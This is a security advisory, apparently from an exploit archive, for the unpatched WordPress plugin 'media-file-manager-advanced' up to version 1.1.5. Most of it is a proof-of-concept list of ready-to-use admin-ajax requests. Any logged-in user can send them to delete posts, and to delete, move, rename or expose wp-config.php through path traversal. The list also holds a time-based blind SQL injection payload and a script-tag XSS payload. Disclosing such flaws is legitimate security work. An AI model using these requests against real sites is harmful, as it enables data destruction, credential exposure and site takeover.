Description

"media-file-manager-advanced" suffers from executing administrator actions
by any authenticated user due to weak permissions checking.
an attacker can delete/update posts, Creating/Removing/Listing Directories,
Moving/Renaming/Deleting Files, Blind SQL Injection and Cross-Site
Scripting.

Homepage

https://wordpress.org/plugins/media-file-manager-advanced/

Affected Version

<= 1.1.5

Description

Vulnerability Scope


LFD,SQL,XSS,Site Ruining and Changing of Content.

Authorization Required

User

Proof of Concept


Post Delete
https://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_delete
post: id=17

MKDIR
https://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_mkdir
newdir=EVEXFOLDER

folder exists: https://domain.tld/wp-contents/uploads/EVEXFOLDER

RMDIR (Dir Must Be Empty)
https://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_delete_empty_dir
dir=EVEXFOLDER&name=

not found: https://domain.tld/wp-contents/uploads/EVEXFOLDER

UNLINK
https://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_delete
dir=../../&name=wp-config.php

no more wp-config.php

Blind SQL INJECTION
https://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_get_image_insert_screen
id=1 AND (SELECT * FROM (SELECT(SLEEP(10)))LCKZ)

Sleeps for 10 seconds

XSS
https://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_get_image_insert_screen
id="</button><script>alert(1)</script>

Alerts(1)

Update Post
https://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_update_media_information
id=34&title=New_Title&caption=bla&description=Dummy Description

Move Files
https://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_move
dir_from=../../&items=wp-config.php&dir_to=

now wp-config.php is in /wp-content/uploads/wp-config.php


Renaming Files
https://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_rename
dir=../../&from=wp-config.php&to=wp-config.txt

now wp-config.php is renamed to wp-config.txt

Directory Listing
https://domain.tld/wp-admin/admin-ajax.php?action=mfma_relocator_getdir
dir=../../

will list all files and directories

Fix

No Fix Available at The Moment.

Time line

Notified Vendor - No Reply
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